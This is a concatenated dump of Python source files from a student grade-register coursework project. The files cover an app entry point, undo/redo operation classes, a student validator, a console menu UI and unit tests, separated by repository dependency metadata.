from BaseFile.FileStudentBase import *
from UI.UI import *
import operator
import collections
gb=GradeBase()
db=DisciplineBase()
fgb=FileGradeBase()
fsb=FileStudentBase()
sb=StudentBase()
db.add(Discipline("FPcurs"))
db.add(Discipline("FPlab"))
db.add(Discipline("FPseminar"))
db.add(Discipline("Logica"))
db.add(Discipline("ASC"))
db.add(Discipline("Algebra"))
db.add(Discipline("Analiza"))
a=input("Press 1 for nonfile or 2 for file.")
if int(a)==2:
undoCtrl=UndoController()
sc=StudentController(fsb,undoCtrl)
gc=GradeController(fgb,undoCtrl)
dc=DisciplineController(db)
sts=StatisticsController(gc,sc,dc)
ui=UI(gc,sc,dc,undoCtrl,sts)
ui.mainMenu()
elif int(a)==1:
sb.add(Student(1,"Darius"))
sb.add(Student(2,"Paul"))
sb.add(Student(3,"Mark"))
gb.add(Grade("FPcurs",1,"arthur",10))
gb.add(Grade("FPseminar",2,"iuliana",10))
gb.add(Grade("FPlab",3,"arthur",10))
undoCtrl=UndoController()
sc=StudentController(sb,undoCtrl)
gc=GradeController(gb,undoCtrl)
dc=DisciplineController(db)
sts=StatisticsController(gc,sc,dc)
ui=UI(gc,sc,dc,undoCtrl,sts)
ui.mainMenu()
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,984 | langchristian96/student-registers | refs/heads/master | /Controller/ChangeHistory.py | class AddOperation:
def __init__(self,object):
"""
Creates an instance of AddOperation
"""
self.__object=object
def getObject(self):
"""
Getter for object
"""
return self.__object
class RemoveOperation:
def __init__(self,object):
"""
Creates an instance of RemoveOperation
"""
self.__object=object
def getObject(self):
"""
Getter for object
"""
return self.__object
class UpdateOperation:
def __init__(self,oldObject,updatedObject):
"""
Creates an instance of UpdateOperation
"""
self.__oldObject=oldObject
self.__updatedObject=updatedObject
def getOldObject(self):
"""
Getter for OldObject
"""
return self.__oldObject
def getUpdatedObject(self):
"""
Getter for UpdatedObject
"""
return self.__updatedObject | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,985 | langchristian96/student-registers | refs/heads/master | /Test/TestGrades.py | import unittest
from Domain.Grades import *
class testGrades(unittest.TestCase):
def setUp(self):
self.c=Grade('FPcurs',9,'arthur',10)
self.c2=Grade('FPcurs',10,'arthur',9)
def testGet(self):
self.assertEqual(self.c.getDiscipline(), 'FPcurs')
self.assertEqual(self.c2.getDiscipline(), 'FPcurs')
self.assertEqual(self.c.getId(), 9)
self.assertEqual(self.c2.getId(), 10)
self.assertEqual(self.c.getTeacher(), 'arthur')
self.assertEqual(self.c2.getTeacher(), 'arthur')
self.assertEqual(self.c.getGrade(), 10)
self.assertEqual(self.c2.getGrade(), 9)
def testSet(self):
self.c.setDiscipline('Algebra')
self.assertEqual(self.c.getDiscipline(), 'Algebra')
self.c2.setDiscipline('Algebra')
self.assertEqual(self.c2.getDiscipline(), 'Algebra')
self.c.setId(2)
self.assertEqual(self.c.getId(), 2)
self.c2.setId(3)
self.assertEqual(self.c2.getId(), 3)
self.c.setTeacher('art')
self.assertEqual(self.c.getTeacher(), 'art')
self.c2.setTeacher('arth')
self.assertEqual(self.c2.getTeacher(), 'arth')
self.c.setGrade(9)
self.assertEqual(self.c.getGrade(), 9)
self.c2.setGrade(8)
self.assertEqual(self.c2.getGrade(), 8)
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main() | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,986 | langchristian96/student-registers | refs/heads/master | /Domain/StudentValidator.py | from Domain.Students import *
from Domain.Exceptions import *
class StudentValidator:
@staticmethod
def validate(student):
if isinstance(student,Student)==False:
raise StudentException("Can only validate Student objects")
if len(student.getName())==0:
raise StudentException("Student must have a name") | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,987 | langchristian96/student-registers | refs/heads/master | /Test/TestStudentController.py | '''
Created on 12 dec. 2015
@author: LenovoM
'''
from Domain.Disciplines import *
from Domain.Students import *
from Base.StudentBase import *
from Controller.StudentController import *
from Controller.UndoController import *
import unittest
class Test(unittest.TestCase):
def setUp(self):
repo=StudentBase()
undo=UndoController()
self.ctrl=StudentController(repo,undo)
def testAdd(self):
self.assertEqual(len(self.ctrl.getAll()), 0)
s=Student(1,'mark')
self.ctrl.addStudent(s)
self.assertEqual(len(self.ctrl.getAll()), 1)
l=self.ctrl.getAll()
self.assertEqual(l[0].getId(), 1)
self.assertEqual(l[0].getName(), 'mark')
def testFindById(self):
self.assertEqual(len(self.ctrl.getAll()), 0)
s=Student(1,'mark')
self.ctrl.addStudent(s)
s2=self.ctrl.findById(1)
self.assertEqual(len(self.ctrl.getAll()), 1)
l=self.ctrl.getAll()
self.assertEqual(s.getId(), s2.getId())
self.assertEqual(s.getName(), s2.getName())
def testRemove(self):
self.assertEqual(len(self.ctrl.getAll()), 0)
s=Student(1,'mark')
self.ctrl.addStudent(s)
self.assertEqual(len(self.ctrl.getAll()), 1)
l=self.ctrl.getAll()
self.assertEqual(l[0].getId(), 1)
self.assertEqual(l[0].getName(), 'mark')
s2=Student(2,'ana')
self.ctrl.addStudent(s2)
self.assertEqual(len(self.ctrl.getAll()), 2)
self.ctrl.removeStudent(2)
l=self.ctrl.getAll()
self.assertEqual(l[0].getId(), 1)
self.assertEqual(l[0].getName(), 'mark')
def testUpdate(self):
self.assertEqual(len(self.ctrl.getAll()), 0)
s=Student(1,'mark')
self.ctrl.addStudent(s)
self.assertEqual(len(self.ctrl.getAll()), 1)
l=self.ctrl.getAll()
self.assertEqual(l[0].getId(), 1)
self.assertEqual(l[0].getName(), 'mark')
self.ctrl.updateStudent(1, 'markk')
l=self.ctrl.getAll()
self.assertEqual(l[0].getId(), 1)
self.assertEqual(l[0].getName(), 'markk')
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main() | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,988 | langchristian96/student-registers | refs/heads/master | /UI/UI.py | from Domain.Students import Student
from Domain.Disciplines import Discipline
from Domain.Grades import Grade
from Domain.GradeValidator import *
from Domain.StudentValidator import *
from Domain.Exceptions import StudentException
from Controller.DisciplineController import *
from Controller.StatisticsControllers import *
import operator
class UI:
def __init__(self,gradeController,studentController,disciplineController,undoCtrl,StatisticsController):
self.__gc=gradeController
self.__sc=studentController
self.__dsc=disciplineController
self.__undoCtrl=undoCtrl
self.__StatisticsController=StatisticsController
@staticmethod
def printmenu():
str = '\nAvailable commands:\n'
str += '\t 1 - Add student \n'
str += '\t 2 - Remove student \n'
str += '\t 3 - Update Student \n'
str += '\t 4 - Add grade \n'
str += '\t 5 - Remove grade \n'
str += '\t 6 - Update grade \n'
str += '\t 7 - Show all students \n'
str += '\t 8 - Show all grades \n'
str += '\t 9 - Search for a student by ID \n'
str += '\t 10 - Find grades by discipline \n'
str += '\t 11 - Sort the list of students and grades alphabetically \n'
str += '\t 12 - First 20% of students according to the average grade \n'
str += '\t 13 - Undo \n'
str += '\t 14 - Redo \n'
str+= '\t 0 - Exit'
print(str)
@staticmethod
def validInputCommand(command):
'''
Verifies if the given command is a valid one.
Input: command - the given command - a string
Output: True - if the command id valid
False - otherwise
Exceptions: -
'''
availableCommands = ['1', '2', '3', '4', '5', '6','7','8','9','10','11','12','13','14','0'];
return (command in availableCommands)
def readDiscipline(self,msg):
'''
Reads a discipline
Input: msg - the message to be shown to the user before reading.
Exceptions: -
Output: A positive integer
'''
while True:
try:
res = input(msg)
if self.__StatisticsController.getDisciplines(res)==0:
raise ValueError()
break
except ValueError:
print("The string you introduced is not a good discipline.")
return res
@staticmethod
def readPositiveInteger(msg):
'''
Reads a positive integer
Input: msg - the message to be shown to the user before reading.
Exceptions: -
Output: A positive integer
'''
res = 0
while True:
try:
res = int(input(msg))
if res < 0:
raise ValueError()
break
except ValueError:
print("The value you introduced was NOT a positive integer.")
return res
def __addStudentMenu(self):
'''
Adds a student to the registers.
Input: -
Output: a new student is read and added (if there is no other
student with the same id).
'''
id=UI.readPositiveInteger("Please enter the ID(Positive number)")
name=input("Please enter the student name")
try:
stud=Student(id,name)
st=StudentValidator
st.validate(stud)
self.__sc.addStudent(stud)
except StudentException as e:
print(e)
def __addGradeMenu(self):
'''
Adds a grade to the registers.
Input: -
Output: a new grade is read and added (if there is no other
grade with the same id).
'''
id=UI.readPositiveInteger("Please enter the ID(Positive number)")
discipline=self.readDiscipline("Please enter a discipline")
teacher=input("Please enter the teacher")
grade=UI.readPositiveInteger("Please enter the grade")
if self.__sc.findById(id)!=None:
try:
gr=gradeValidator
grd=Grade(discipline,id,teacher,grade)
gr.validate(grd)
self.__gc.addGrade(grd)
except StudentException as e:
print(e)
else:
print("The Student with the given id does not exist")
def __removeGradeMenu(self):
'''
Removes a grade from the registers.
Input: -
Output: the grade is removed, if it exists.
'''
id=UI.readPositiveInteger("Please enter the ID(Positive number)")
discipline=self.readDiscipline("Please enter a discipline")
try:
self.__gc.removeStudent(id,discipline)
except StudentException as e:
print(e)
def __removeStudentMenu(self):
'''
Removes a student from the registers.
Input: -
Output: the student is removed, if it exists.
'''
id=UI.readPositiveInteger("Please enter the ID(Positive number)")
try:
self.__sc.removeStudent(id)
except StudentException as e:
print(e)
def __updateStudentMenu(self):
'''
Updates a student from the registers.
Input:-
Output: the student is updated if it exists
'''
id=UI.readPositiveInteger("Please enter the ID(Positive number)")
name=input("Please enter the student name")
try:
stud=Student(id,name)
st=StudentValidator
st.validate(stud)
self.__sc.updateStudent(id,name)
except StudentException as e:
print(e)
def __updateGradeMenu(self):
'''
Updates a grade from the registers.
Input:-
Output: the grade is updated if it exists
'''
id=UI.readPositiveInteger("Please enter the ID(Positive number)")
discipline=self.readDiscipline("Please enter the discipline")
teacher=input("Please enter the teacher")
grade=UI.readPositiveInteger("Please enter the grade")
try:
grd=Grade(discipline,id,teacher,grade)
gr=gradeValidator
gr.validate(grd)
self.__gc.updateStudent(id,grade,teacher,discipline)
except StudentException as e:
print(e)
def __showAllStudentMenu(self):
'''
Shows all the students
Input:-
Output:Prints the students list
'''
studs=self.__sc.getAll()
if len(studs)==0:
print("There are no students in the registers")
for e in studs:
print(e)
def __showAllGradeMenu(self):
'''
Shows all the grades
Input:-
Output:Prints the grades list
'''
studs=self.__gc.getAll()
if len(studs)==0:
print("There are no grades in the registers")
for e in studs:
print(e)
def __searchStudentMenu(self):
'''
Searches for a student
Input:-
Output:Prints the student's info
'''
id=UI.readPositiveInteger("Please enter the ID(Positive number)")
try:
stud=self.__sc.findById(id)
print(stud)
except StudentException as e:
print(e)
def __findByDisciplineMenu(self):
'''
Searches for grades at a certain discipline
Input:-
Output:Prints the grades
'''
discipline=self.readDiscipline("Please enter the discipline")
res=self.__gc.findByDiscipline(discipline)
if res==[]:
print("There are no grades at the given discipline")
else:
for e in res:
print(e)
def __listOfGradesAlphabetically(self):
'''
Prints the grades ordered alphabetically at a certain discipline
Input:-
Output: Prints the grades ordered alphabetically
'''
discipline=self.readDiscipline("Please enter the discipline")
res=self.__gc.findByDiscipline(discipline)
allNames=self.__sc.getAll()
name=[]
name=self.__StatisticsController.getListGradesAlphabetically(res)
if name==0:
print("there are no grades at the given discipline")
else:
for e in name:
print(e.getName()," ",e.getDiscipline()," ",e.getGrade()," ",e.getTeacher())
def __undoMenu(self):
"""
Undos the previous operation.
Input: -
Output: prints "Undo succesfully made" if it succeeded and "Cannot undo." otherwise
"""
res=self.__undoCtrl.undo()
if res==True:
print("Undo succesfully made.")
else:
print("Cannot undo.")
def __redoMenu(self):
"""
Redos the previous action.
Input:-
Output: prints "Redo succesfully made" if it succeeded and "Cannot redo." otherwise
"""
res=self.__undoCtrl.redo()
if res==True:
print("Redo succesfully made")
else:
print("Cannot redo.")
def __averageGradesMenu(self):
'''
Computes a top list of students ordered by their average grade
Input:-
Output:Prints the top list of students
'''
name=self.__StatisticsController.getAverageGrades()
for e in name:
print("Student's name: ",e['name']," Average Grade: ",e['average'])
def mainMenu(self):
commandDict = {'1': self.__addStudentMenu,
'2': self.__removeStudentMenu,
'3': self.__updateStudentMenu,
'4': self.__addGradeMenu,
'5': self.__removeGradeMenu,
'6': self.__updateGradeMenu,
'7': self.__showAllStudentMenu,
'8': self.__showAllGradeMenu,
'9': self.__searchStudentMenu,
'10': self.__findByDisciplineMenu,
'11': self.__listOfGradesAlphabetically,
'12': self.__averageGradesMenu,
'13': self.__undoMenu,
'14': self.__redoMenu
}
while True:
UI.printmenu()
command = input("Please enter your command: ")
while not UI.validInputCommand(command):
print("Please enter a valid command!")
command = input("Please enter your command: ")
if command == '0':
return
commandDict[command]()
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,989 | langchristian96/student-registers | refs/heads/master | /Test/TestGradeBase.py | '''
Created on 5 dec. 2015
@author: LenovoM
'''
import unittest
from Base.GradeBase import *
from Domain.Grades import *
class Test(unittest.TestCase):
def setUp(self):
self.gradebase=GradeBase()
c1=Grade('Algebra',800,'arthur',9)
self.gradebase.add(c1)
c2=Grade('FPcurs',50,'qwer',8)
self.gradebase.add(c2)
def testAdd(self):
c3=Grade('Algebra',100,'qwert',10)
c4=Grade('Algebra',100,'qasdasdwq',9)
self.gradebase.add(c3)
self.assertEqual(len(self.gradebase),3)
l=self.gradebase.getAll()
self.assertEqual(l[2].getDiscipline(), 'Algebra')
self.assertEqual(l[2].getId(), 100)
self.assertEqual(l[2].getGrade(), 10)
self.assertEqual(l[2].getTeacher(), 'qwert')
self.assertRaises(StudentException,self.gradebase.add,c4)
def testDelete(self):
self.gradebase.remove(800,'Algebra')
self.assertEqual(len(self.gradebase), 1)
def testUpdate(self):
#id grade teacher discipline
c=Grade('FPcurs',50,'qweqeq',5)
self.gradebase.update(50, 5, 'qweqeq', 'FPcurs')
c2=self.gradebase.findByDisciplineAndID(50, 'FPcurs')
self.assertEqual(c.getGrade(),c2.getGrade() )
self.assertEqual(c.getDiscipline(), c2.getDiscipline())
self.assertEqual(c.getTeacher(), c2.getTeacher())
def testFindById(self):
c1=Grade('FPcurs',50,'qwer',8)
c2=self.gradebase.findById(50)
self.assertEqual(c1.getDiscipline(), c2.getDiscipline())
self.assertEqual(c1.getGrade(), c2.getGrade())
self.assertEqual(c1.getTeacher(), c2.getTeacher())
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main() | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", 